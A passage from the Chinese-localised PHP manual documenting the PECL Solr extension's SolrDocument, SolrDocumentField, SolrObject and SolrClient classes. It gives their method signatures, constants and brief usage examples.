public getChildDocuments(): array
public getChildDocumentsCount(): int
public getField(string $fieldName): SolrDocumentField
public getFieldCount(): int
public getFieldNames(): array
public getInputDocument(): SolrInputDocument
public hasChildDocuments(): bool
public __isset(string $fieldName): bool
public key(): string
public merge(SolrDocument $sourceDoc, bool $overwrite = true): bool
public next(): void
public offsetExists(string $fieldName): bool
public offsetGet(string $fieldName): SolrDocumentField
public offsetSet(string $fieldName, string $fieldValue): void
public offsetUnset(string $fieldName): void
public reset(): bool
public rewind(): void
public serialize(): string
public __set(string $fieldName, string $fieldValue): bool
public sort(int $sortOrderBy, int $sortDirection = SolrDocument::SORT_ASC): bool
public toArray(): array
public unserialize(string $serialized): void
public __unset(string $fieldName): bool
public valid(): bool
public __destruct()
}

预定义常量

SolrDocument::SORT_DEFAULT

Default mode for sorting fields within the document.

SolrDocument::SORT_ASC

Sorts the fields in ascending order

SolrDocument::SORT_DESC

Sorts the fields in descending order

SolrDocument::SORT_FIELD_NAME

Sorts the fields by field name.

SolrDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values in each field.

SolrDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by thier boost values.

Table of Contents

  • SolrDocument::addField — Adds a field to the document
  • SolrDocument::clear — Drops all the fields in the document
  • SolrDocument::__clone — Creates a copy of a SolrDocument object
  • SolrDocument::__construct — Constructor
  • SolrDocument::current — Retrieves the current field
  • SolrDocument::deleteField — Removes a field from the document
  • SolrDocument::__destruct — Destructor
  • SolrDocument::fieldExists — Checks if a field exists in the document
  • SolrDocument::__get — Access the field as a property
  • SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)
  • SolrDocument::getChildDocumentsCount — Returns the number of child documents
  • SolrDocument::getField — Retrieves a field by name
  • SolrDocument::getFieldCount — Returns the number of fields in this document
  • SolrDocument::getFieldNames — Returns an array of fields names in the document
  • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
  • SolrDocument::hasChildDocuments — Checks whether the document has any child documents
  • SolrDocument::__isset — Checks if a field exists
  • SolrDocument::key — Retrieves the current key
  • SolrDocument::merge — Merges source to the current SolrDocument
  • SolrDocument::next — Moves the internal pointer to the next field
  • SolrDocument::offsetExists — Checks if a particular field exists
  • SolrDocument::offsetGet — Retrieves a field
  • SolrDocument::offsetSet — Adds a field to the document
  • SolrDocument::offsetUnset — Removes a field
  • SolrDocument::reset — 别名 SolrDocument::clear
  • SolrDocument::rewind — Resets the internal pointer to the beginning
  • SolrDocument::serialize — Used for custom serialization
  • SolrDocument::__set — Adds another field to the document
  • SolrDocument::sort — Sorts the fields in the document
  • SolrDocument::toArray — Returns an array representation of the document
  • SolrDocument::unserialize — Custom serialization of SolrDocument objects
  • SolrDocument::__unset — Removes a field from the document
  • SolrDocument::valid — Checks if the current position internally is still valid

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • ? SolrDocument
  • SolrDocument::clear ?
  • PHP Manual
  • SolrDocument
  • Adds a field to the document

SolrDocument::addField

(PECL solr >= 0.9.2)

SolrDocument::addField — Adds a field to the document

说明

public SolrDocument::addField(string $fieldName, string $fieldValue): bool

This method adds a field to the SolrDocument instance.

参数

fieldName

The name of the field

fieldValue

The value of the field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Drops all the fields in the document

  • ? SolrDocument::addField
  • SolrDocument::__clone ?
  • PHP Manual
  • SolrDocument
  • Drops all the fields in the document

SolrDocument::clear

(PECL solr >= 0.9.2)

SolrDocument::clear — Drops all the fields in the document

说明

public SolrDocument::clear(): bool

Resets the current object. Discards all the fields and resets the document boost to zero.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a SolrDocument object

  • ? SolrDocument::clear
  • SolrDocument::__construct ?
  • PHP Manual
  • SolrDocument
  • Creates a copy of a SolrDocument object

SolrDocument::__clone

(PECL solr >= 0.9.2)

SolrDocument::__clone — Creates a copy of a SolrDocument object

说明

public SolrDocument::__clone(): void

Creates a copy of a SolrDocument object. Not to be called directly.

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrDocument::__clone
  • SolrDocument::current ?
  • PHP Manual
  • SolrDocument
  • Constructor

SolrDocument::__construct

(PECL solr >= 0.9.2)

SolrDocument::__construct — Constructor

说明

public SolrDocument::__construct()

Constructor for SolrDocument

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current field

  • ? SolrDocument::__construct
  • SolrDocument::deleteField ?
  • PHP Manual
  • SolrDocument
  • Retrieves the current field

SolrDocument::current

(PECL solr >= 0.9.2)

SolrDocument::current — Retrieves the current field

说明

public SolrDocument::current(): SolrDocumentField

Retrieves the current field

参数

此函数没有参数。

返回值

Returns the field

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • ? SolrDocument::current
  • SolrDocument::__destruct ?
  • PHP Manual
  • SolrDocument
  • Removes a field from the document

SolrDocument::deleteField

(PECL solr >= 0.9.2)

SolrDocument::deleteField — Removes a field from the document

说明

public SolrDocument::deleteField(string $fieldName): bool

Removes a field from the document.

参数

fieldName

Name of the field

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrDocument::deleteField
  • SolrDocument::fieldExists ?
  • PHP Manual
  • SolrDocument
  • Destructor

SolrDocument::__destruct

(PECL solr >= 0.9.2)

SolrDocument::__destruct — Destructor

说明

public SolrDocument::__destruct()

Destructor for SolrDocument.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists in the document

  • ? SolrDocument::__destruct
  • SolrDocument::__get ?
  • PHP Manual
  • SolrDocument
  • Checks if a field exists in the document

SolrDocument::fieldExists

(PECL solr >= 0.9.2)

SolrDocument::fieldExists — Checks if a field exists in the document

说明

public SolrDocument::fieldExists(string $fieldName): bool

Checks if the requested field as a valid fieldname in the document.

参数

fieldName

The name of the field.

返回值

Returns true if the field is present and false if it does not.

User Contributed Notes

There are no user contributed notes for this page.


Access the field as a property

  • ? SolrDocument::fieldExists
  • SolrDocument::getChildDocuments ?
  • PHP Manual
  • SolrDocument
  • Access the field as a property

SolrDocument::__get

(PECL solr >= 0.9.2)

SolrDocument::__get — Access the field as a property

说明

public SolrDocument::__get(string $fieldName): SolrDocumentField

Magic method for accessing the field as a property.

参数

fieldName

The name of the field.

返回值

Returns a SolrDocumentField instance.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of child documents (SolrDocument)

  • ? SolrDocument::__get
  • SolrDocument::getChildDocumentsCount ?
  • PHP Manual
  • SolrDocument
  • Returns an array of child documents (SolrDocument)

SolrDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)

说明

public SolrDocument::getChildDocuments(): array

Returns an array of child documents (SolrDocument)

参数

此函数没有参数。

返回值

参见

  • SolrDocument::hasChildDocuments() - Checks whether the document has any child documents
  • SolrDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of child documents

  • ? SolrDocument::getChildDocuments
  • SolrDocument::getField ?
  • PHP Manual
  • SolrDocument
  • Returns the number of child documents

SolrDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrDocument::getChildDocumentsCount — Returns the number of child documents

说明

public SolrDocument::getChildDocumentsCount(): int

Returns the number of child documents

参数

此函数没有参数。

返回值

参见

  • SolrDocument::hasChildDocuments() - Checks whether the document has any child documents
  • SolrDocument::getChildDocuments() - Returns an array of child documents (SolrDocument)

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field by name

  • ? SolrDocument::getChildDocumentsCount
  • SolrDocument::getFieldCount ?
  • PHP Manual
  • SolrDocument
  • Retrieves a field by name

SolrDocument::getField

(PECL solr >= 0.9.2)

SolrDocument::getField — Retrieves a field by name

说明

public SolrDocument::getField(string $fieldName): SolrDocumentField

Retrieves a field by name.

参数

fieldName

Name of the field.

返回值

Returns a SolrDocumentField on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of fields in this document

  • ? SolrDocument::getField
  • SolrDocument::getFieldNames ?
  • PHP Manual
  • SolrDocument
  • Returns the number of fields in this document

SolrDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrDocument::getFieldCount — Returns the number of fields in this document

说明

public SolrDocument::getFieldCount(): int

Returns the number of fields in this document. Multi-value fields are only counted once.

参数

此函数没有参数。

返回值

Returns an integer on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of fields names in the document

  • ? SolrDocument::getFieldCount
  • SolrDocument::getInputDocument ?
  • PHP Manual
  • SolrDocument
  • Returns an array of fields names in the document

SolrDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrDocument::getFieldNames — Returns an array of fields names in the document

说明

public SolrDocument::getFieldNames(): array

Returns an array of fields names in the document.

参数

此函数没有参数。

返回值

Returns an array containing the names of the fields in this document.

User Contributed Notes

There are no user contributed notes for this page.


Returns a SolrInputDocument equivalent of the object

  • ? SolrDocument::getFieldNames
  • SolrDocument::hasChildDocuments ?
  • PHP Manual
  • SolrDocument
  • Returns a SolrInputDocument equivalent of the object

SolrDocument::getInputDocument

(PECL solr >= 0.9.2)

SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object

说明

public SolrDocument::getInputDocument(): SolrInputDocument

Returns a SolrInputDocument equivalent of the object. This is useful if one wishes to resubmit/update a document retrieved from a query.

参数

此函数没有参数。

返回值

Returns a SolrInputDocument on success and null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the document has any child documents

  • ? SolrDocument::getInputDocument
  • SolrDocument::__isset ?
  • PHP Manual
  • SolrDocument
  • Checks whether the document has any child documents

SolrDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::hasChildDocuments — Checks whether the document has any child documents

说明

public SolrDocument::hasChildDocuments(): bool

Checks whether the document has any child documents

参数

此函数没有参数。

返回值

参见

  • SolrDocument::getChildDocuments() - Returns an array of child documents (SolrDocument)
  • SolrDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists

  • ? SolrDocument::hasChildDocuments
  • SolrDocument::key ?
  • PHP Manual
  • SolrDocument
  • Checks if a field exists

SolrDocument::__isset

(PECL solr >= 0.9.2)

SolrDocument::__isset — Checks if a field exists

说明

public SolrDocument::__isset(string $fieldName): bool

Checks if a field exists

参数

fieldName

Name of the field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current key

  • ? SolrDocument::__isset
  • SolrDocument::merge ?
  • PHP Manual
  • SolrDocument
  • Retrieves the current key

SolrDocument::key

(PECL solr >= 0.9.2)

SolrDocument::key — Retrieves the current key

说明

public SolrDocument::key(): string

Retrieves the current key.

参数

此函数没有参数。

返回值

Returns the current key.

User Contributed Notes

There are no user contributed notes for this page.


Merges source to the current SolrDocument

  • ? SolrDocument::key
  • SolrDocument::next ?
  • PHP Manual
  • SolrDocument
  • Merges source to the current SolrDocument

SolrDocument::merge

(PECL solr >= 0.9.2)

SolrDocument::merge — Merges source to the current SolrDocument

说明

public SolrDocument::merge(SolrDocument $sourceDoc, bool $overwrite = true): bool

Merges source to the current SolrDocument.

参数

sourceDoc

The source document.

overwrite

If this is true then fields with the same name in the destination document will be overwritten.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Moves the internal pointer to the next field

  • ? SolrDocument::merge
  • SolrDocument::offsetExists ?
  • PHP Manual
  • SolrDocument
  • Moves the internal pointer to the next field

SolrDocument::next

(PECL solr >= 0.9.2)

SolrDocument::next — Moves the internal pointer to the next field

说明

public SolrDocument::next(): void

Moves the internal pointer to the next field.

参数

此函数没有参数。

返回值

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a particular field exists

  • ? SolrDocument::next
  • SolrDocument::offsetGet ?
  • PHP Manual
  • SolrDocument
  • Checks if a particular field exists

SolrDocument::offsetExists

(PECL solr >= 0.9.2)

SolrDocument::offsetExists — Checks if a particular field exists

说明

public SolrDocument::offsetExists(string $fieldName): bool

Checks if a particular field exists. This is used when the object is treated as an array.

参数

fieldName

The name of the field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field

  • ? SolrDocument::offsetExists
  • SolrDocument::offsetSet ?
  • PHP Manual
  • SolrDocument
  • Retrieves a field

SolrDocument::offsetGet

(PECL solr >= 0.9.2)

SolrDocument::offsetGet — Retrieves a field

说明

public SolrDocument::offsetGet(string $fieldName): SolrDocumentField

This is used to retrieve the field when the object is treated as an array.

参数

fieldName

The name of the field.

返回值

Returns a SolrDocumentField object.

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • ? SolrDocument::offsetGet
  • SolrDocument::offsetUnset ?
  • PHP Manual
  • SolrDocument
  • Adds a field to the document

SolrDocument::offsetSet

(PECL solr >= 0.9.2)

SolrDocument::offsetSet — Adds a field to the document

说明

public SolrDocument::offsetSet(string $fieldName, string $fieldValue): void

Used when the object is treated as an array to add a field to the document.

参数

fieldName

The name of the field.

fieldValue

The value for this field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Removes a field

  • ? SolrDocument::offsetSet
  • SolrDocument::reset ?
  • PHP Manual
  • SolrDocument
  • Removes a field

SolrDocument::offsetUnset

(PECL solr >= 0.9.2)

SolrDocument::offsetUnset — Removes a field

说明

public SolrDocument::offsetUnset(string $fieldName): void

Removes a field from the document.

参数

fieldName

The name of the field.

返回值

No return value.

User Contributed Notes

There are no user contributed notes for this page.


别名 SolrDocument::clear

  • ? SolrDocument::offsetUnset
  • SolrDocument::rewind ?
  • PHP Manual
  • SolrDocument
  • 别名 SolrDocument::clear

SolrDocument::reset

(PECL solr >= 0.9.2)

SolrDocument::reset — 别名 SolrDocument::clear()

说明

public SolrDocument::reset(): bool

This is an alias to SolrDocument::clear()

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Resets the internal pointer to the beginning

  • ? SolrDocument::reset
  • SolrDocument::serialize ?
  • PHP Manual
  • SolrDocument
  • Resets the internal pointer to the beginning

SolrDocument::rewind

(PECL solr >= 0.9.2)

SolrDocument::rewind — Resets the internal pointer to the beginning

说明

public SolrDocument::rewind(): void

Resets the internal pointer to the beginning.

参数

此函数没有参数。

返回值

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • ? SolrDocument::rewind
  • SolrDocument::__set ?
  • PHP Manual
  • SolrDocument
  • Used for custom serialization

SolrDocument::serialize

(PECL solr >= 0.9.2)

SolrDocument::serialize — Used for custom serialization

说明

public SolrDocument::serialize(): string

Used for custom serialization.

参数

此函数没有参数。

返回值

Returns a string representing the serialized Solr document.

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the document

  • ? SolrDocument::serialize
  • SolrDocument::sort ?
  • PHP Manual
  • SolrDocument
  • Adds another field to the document

SolrDocument::__set

(PECL solr >= 0.9.2)

SolrDocument::__set — Adds another field to the document

说明

public SolrDocument::__set(string $fieldName, string $fieldValue): bool

Adds another field to the document. Used to set the fields as new properties.

参数

fieldName

Name of the field.

fieldValue

Field value.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields in the document

  • ? SolrDocument::__set
  • SolrDocument::toArray ?
  • PHP Manual
  • SolrDocument
  • Sorts the fields in the document

SolrDocument::sort

(PECL solr >= 0.9.2)

SolrDocument::sort — Sorts the fields in the document

说明

public SolrDocument::sort(int $sortOrderBy, int $sortDirection = SolrDocument::SORT_ASC): bool

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The sortOrderBy parameter must be one of :

   * SolrDocument::SORT_FIELD_NAME
   * SolrDocument::SORT_FIELD_BOOST_VALUE
   * SolrDocument::SORT_FIELD_VALUE_COUNT

   The sortDirection can be one of :

   * SolrDocument::SORT_DEFAULT
   * SolrDocument::SORT_ASC
   * SolrDocument::SORT_DESC

   The default way is to sort in ascending order.

参数

sortOrderBy

The sort criteria.

sortDirection

The sort direction.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representation of the document

  • ? SolrDocument::sort
  • SolrDocument::unserialize ?
  • PHP Manual
  • SolrDocument
  • Returns an array representation of the document

SolrDocument::toArray

(PECL solr >= 0.9.2)

SolrDocument::toArray — Returns an array representation of the document

说明

public SolrDocument::toArray(): array

Returns an array representation of the document.

参数

此函数没有参数。

返回值

Returns an array representation of the document.

示例

Example #1 SolrDocument::toArray() example

<?php

$doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat = 'Information Technology';

print_r($doc->toArray());

?>

以上示例的输出类似于：

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Custom serialization of SolrDocument objects

  • ? SolrDocument::toArray
  • SolrDocument::__unset ?
  • PHP Manual
  • SolrDocument
  • Custom serialization of SolrDocument objects

SolrDocument::unserialize

(PECL solr >= 0.9.2)

SolrDocument::unserialize — Custom serialization of SolrDocument objects

说明

public SolrDocument::unserialize(string $serialized): void

Custom serialization of SolrDocument objects

参数

serialized

An XML representation of the document.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • ? SolrDocument::unserialize
  • SolrDocument::valid ?
  • PHP Manual
  • SolrDocument
  • Removes a field from the document

SolrDocument::__unset

(PECL solr >= 0.9.2)

SolrDocument::__unset — Removes a field from the document

说明

public SolrDocument::__unset(string $fieldName): bool

Removes a field from the document when the field is access as an object property.

参数

fieldName

The name of the field.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Checks if the current position internally is still valid

  • ? SolrDocument::__unset
  • SolrDocumentField ?
  • PHP Manual
  • SolrDocument
  • Checks if the current position internally is still valid

SolrDocument::valid

(PECL solr >= 0.9.2)

SolrDocument::valid — Checks if the current position internally is still valid

说明

public SolrDocument::valid(): bool

Checks if the current position internally is still valid. It is used during foreach operations.

参数

此函数没有参数。

返回值

Returns true on success and false if the current position is no longer valid.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDocumentField class

(PECL solr >= 0.9.2)

简介

This represents a field in a Solr document. All its properties are read-only.

类摘要

final class SolrDocumentField {
/* 属性 */
public readonly string $name;
public readonly float $boost;
public readonly array $values;
/* 方法 */
public __construct()
public __destruct()
}

属性

name

The name of the field.

boost

The boost value for the field

values

An array of values for this field

Table of Contents

  • SolrDocumentField::__construct — Constructor
  • SolrDocumentField::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrDocumentField
  • SolrDocumentField::__destruct ?
  • PHP Manual
  • SolrDocumentField
  • Constructor

SolrDocumentField::__construct

(PECL solr >= 0.9.2)

SolrDocumentField::__construct — Constructor

说明

public SolrDocumentField::__construct()

Constructor.

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrDocumentField::__construct
  • SolrObject ?
  • PHP Manual
  • SolrDocumentField
  • Destructor

SolrDocumentField::__destruct

(PECL solr >= 0.9.2)

SolrDocumentField::__destruct — Destructor

说明

public SolrDocumentField::__destruct()

Destructor.

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


The SolrObject class

(PECL solr >= 0.9.2)

简介

This is an object whose properties can also by accessed using the array syntax. All its properties are read-only.

类摘要

final class SolrObject implements ArrayAccess {
/* 方法 */
public __construct()
public getPropertyNames(): array
public offsetExists(string $property_name): bool
public offsetGet(string $property_name): mixed
public offsetSet(string $property_name, string $property_value): void
public offsetUnset(string $property_name): void
public __destruct()
}

Table of Contents

  • SolrObject::__construct — Creates Solr object
  • SolrObject::__destruct — Destructor
  • SolrObject::getPropertyNames — Returns an array of all the names of the properties
  • SolrObject::offsetExists — Checks if the property exists
  • SolrObject::offsetGet — Used to retrieve a property
  • SolrObject::offsetSet — Sets the value for a property
  • SolrObject::offsetUnset — Unsets the value for the property

User Contributed Notes

There are no user contributed notes for this page.


Creates Solr object

  • ? SolrObject
  • SolrObject::__destruct ?
  • PHP Manual
  • SolrObject
  • Creates Solr object

SolrObject::__construct

(PECL solr >= 0.9.2)

SolrObject::__construct — Creates Solr object

说明

public SolrObject::__construct()

Creates Solr object.

参数

此函数没有参数。

返回值

None

示例

Example #1 SolrObject::__construct() example

<?php
/* ... */
?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrObject::__construct
  • SolrObject::getPropertyNames ?
  • PHP Manual
  • SolrObject
  • Destructor

SolrObject::__destruct

(PECL solr >= 0.9.2)

SolrObject::__destruct — Destructor

说明

public SolrObject::__destruct()

The destructor

参数

此函数没有参数。

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of all the names of the properties

  • ? SolrObject::__destruct
  • SolrObject::offsetExists ?
  • PHP Manual
  • SolrObject
  • Returns an array of all the names of the properties

SolrObject::getPropertyNames

(PECL solr >= 0.9.2)

SolrObject::getPropertyNames — Returns an array of all the names of the properties

说明

public SolrObject::getPropertyNames(): array

Returns an array of all the names of the properties

参数

此函数没有参数。

返回值

Returns an array.

User Contributed Notes

dohpaz at nospam dot net 20-May-2010 11:21
It should be noted that when using SolrObject::getPropertyNames(), the array keys have an invisible character that needs to be trim()'d to work correctly.


Checks if the property exists

  • ? SolrObject::getPropertyNames
  • SolrObject::offsetGet ?
  • PHP Manual
  • SolrObject
  • Checks if the property exists

SolrObject::offsetExists

(PECL solr >= 0.9.2)

SolrObject::offsetExists — Checks if the property exists

说明

public SolrObject::offsetExists(string $property_name): bool

Checks if the property exists. This is used when the object is treated as an array.

参数

property_name

The name of the property.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Used to retrieve a property

  • ? SolrObject::offsetExists
  • SolrObject::offsetSet ?
  • PHP Manual
  • SolrObject
  • Used to retrieve a property

SolrObject::offsetGet

(PECL solr >= 0.9.2)

SolrObject::offsetGet — Used to retrieve a property

说明

public SolrObject::offsetGet(string $property_name): mixed

Used to get the value of a property. This is used when the object is treated as an array.

参数

property_name

Name of the property.

返回值

Returns the property value.

User Contributed Notes

There are no user contributed notes for this page.


Sets the value for a property

  • ? SolrObject::offsetGet
  • SolrObject::offsetUnset ?
  • PHP Manual
  • SolrObject
  • Sets the value for a property

SolrObject::offsetSet

(PECL solr >= 0.9.2)

SolrObject::offsetSet — Sets the value for a property

说明

public SolrObject::offsetSet(string $property_name, string $property_value): void

Sets the value for a property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

参数

property_name

The name of the property.

property_value

The new value.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Unsets the value for the property

  • ? SolrObject::offsetSet
  • SolrClient ?
  • PHP Manual
  • SolrObject
  • Unsets the value for the property

SolrObject::offsetUnset

(PECL solr >= 0.9.2)

SolrObject::offsetUnset — Unsets the value for the property

说明

public SolrObject::offsetUnset(string $property_name): void

Unsets the value for the property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

参数

property_name

The name of the property.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SolrObject::offsetUnset() example

<?php
/* ... */
?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


The SolrClient class

(PECL solr >= 0.9.2)

简介

Used to send requests to a Solr server. Currently, cloning and serialization of SolrClient instances is not supported.

类摘要

final class SolrClient {
/* 常量 */
const int SEARCH_SERVLET_TYPE = 1;
const int UPDATE_SERVLET_TYPE = 2;
const int THREADS_SERVLET_TYPE = 4;
const int PING_SERVLET_TYPE = 8;
const int TERMS_SERVLET_TYPE = 16;
const int SYSTEM_SERVLET_TYPE = 32;
const string DEFAULT_SEARCH_SERVLET = select;
const string DEFAULT_UPDATE_SERVLET = update;
const string DEFAULT_THREADS_SERVLET = admin/threads;
const string DEFAULT_PING_SERVLET = admin/ping;
const string DEFAULT_TERMS_SERVLET = terms;
const string DEFAULT_SYSTEM_SERVLET = admin/system;
/* 方法 */
public __construct(array $clientOptions)
public addDocument(SolrInputDocument $doc, bool $overwrite = true, int $commitWithin = 0): SolrUpdateResponse
public addDocuments(array $docs, bool $overwrite = true, int $commitWithin = 0): void
public commit(bool $softCommit = false, bool $waitSearcher = true, bool $expungeDeletes = false): SolrUpdateResponse
public deleteById(string $id): SolrUpdateResponse
public deleteByIds(array $ids): SolrUpdateResponse
public deleteByQueries(array $queries): SolrUpdateResponse
public deleteByQuery(string $query): SolrUpdateResponse
public getById(string $id): SolrQueryResponse
public getByIds(array $ids): SolrQueryResponse
public getDebug(): string
public getOptions(): array
public optimize(int $maxSegments = 1, bool $softCommit = true, bool $waitSearcher = true): SolrUpdateResponse
public ping(): SolrPingResponse
public query(SolrParams $query): SolrQueryResponse
public request(string $raw_request): SolrUpdateResponse
public rollback(): SolrUpdateResponse
public setResponseWriter(string $responseWriter): void
public setServlet(int $type, string $value): bool
public system(): void
public threads(): void
public __destruct()
}

预定义常量

SolrClient::SEARCH_SERVLET_TYPE

Used when updating the search servlet.

SolrClient::UPDATE_SERVLET_TYPE

Used when updating the update servlet.

SolrClient::THREADS_SERVLET_TYPE

Used when updating the threads servlet.

SolrClient::PING_SERVLET_TYPE

Used when updating the ping servlet.

SolrClient::TERMS_SERVLET_TYPE

Used when updating the terms servlet.

SolrClient::SYSTEM_SERVLET_TYPE

Used when retrieving system information from the system servlet.

SolrClient::DEFAULT_SEARCH_SERVLET

This is the initial value for the search servlet.

SolrClient::DEFAULT_UPDATE_SERVLET

This is the initial value for the update servlet.

SolrClient::DEFAULT_THREADS_SERVLET

This is the initial value for the threads servlet.

SolrClient::DEFAULT_PING_SERVLET

This is the initial value for the ping servlet.

SolrClient::DEFAULT_TERMS_SERVLET

This is the initial value for the terms servlet used for the TermsComponent

SolrClient::DEFAULT_SYSTEM_SERVLET

This is the initial value for the system servlet used to obtain Solr Server information

Table of Contents

  • SolrClient::addDocument — Adds a document to the index
  • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit — Finalizes all add/deletes made to the index
  • SolrClient::__construct — Constructor for the SolrClient object
  • SolrClient::deleteById — Delete by Id
  • SolrClient::deleteByIds — Deletes by Ids
  • SolrClient::deleteByQueries — Removes all documents matching any of the queries
  • SolrClient::deleteByQuery — Deletes all documents matching the given query
  • SolrClient::__destruct — Destructor for SolrClient
  • SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)
  • SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)
  • SolrClient::getDebug — Returns the debug data for the last connection attempt
  • SolrClient::getOptions — Returns the client options set internally
  • SolrClient::optimize — Defragments the index
  • SolrClient::ping — Checks if Solr server is still up
  • SolrClient::query — Sends a query to the server
  • SolrClient::request — Sends a raw update request
  • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
  • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
  • SolrClient::setServlet — Changes the specified servlet type to a new value
  • SolrClient::system — Retrieve Solr Server information
  • SolrClient::threads — Checks the threads status

User Contributed Notes

There are no user contributed notes for this page.


Adds a document to the index

  • ? SolrClient
  • SolrClient::addDocuments ?
  • PHP Manual
  • SolrClient
  • Adds a document to the index

SolrClient::addDocument

(PECL solr >= 0.9.2)

SolrClient::addDocument — Adds a document to the index

说明

public SolrClient::addDocument(SolrInputDocument $doc, bool $overwrite = true, int $commitWithin = 0): SolrUpdateResponse

This method adds a document to the index.

参数

doc

The SolrInputDocument instance.

overwrite

Whether to overwrite existing document or not. If false there will be duplicates (several documents with the same ID).

Warning

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

返回值

Returns a SolrUpdateResponse object or throws an Exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

示例

Example #1 SolrClient::addDocument() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

// you will have to commit changes to be written if you didn't use $commitWithin
$client->commit();

print_r($updateResponse->getResponse());

?>

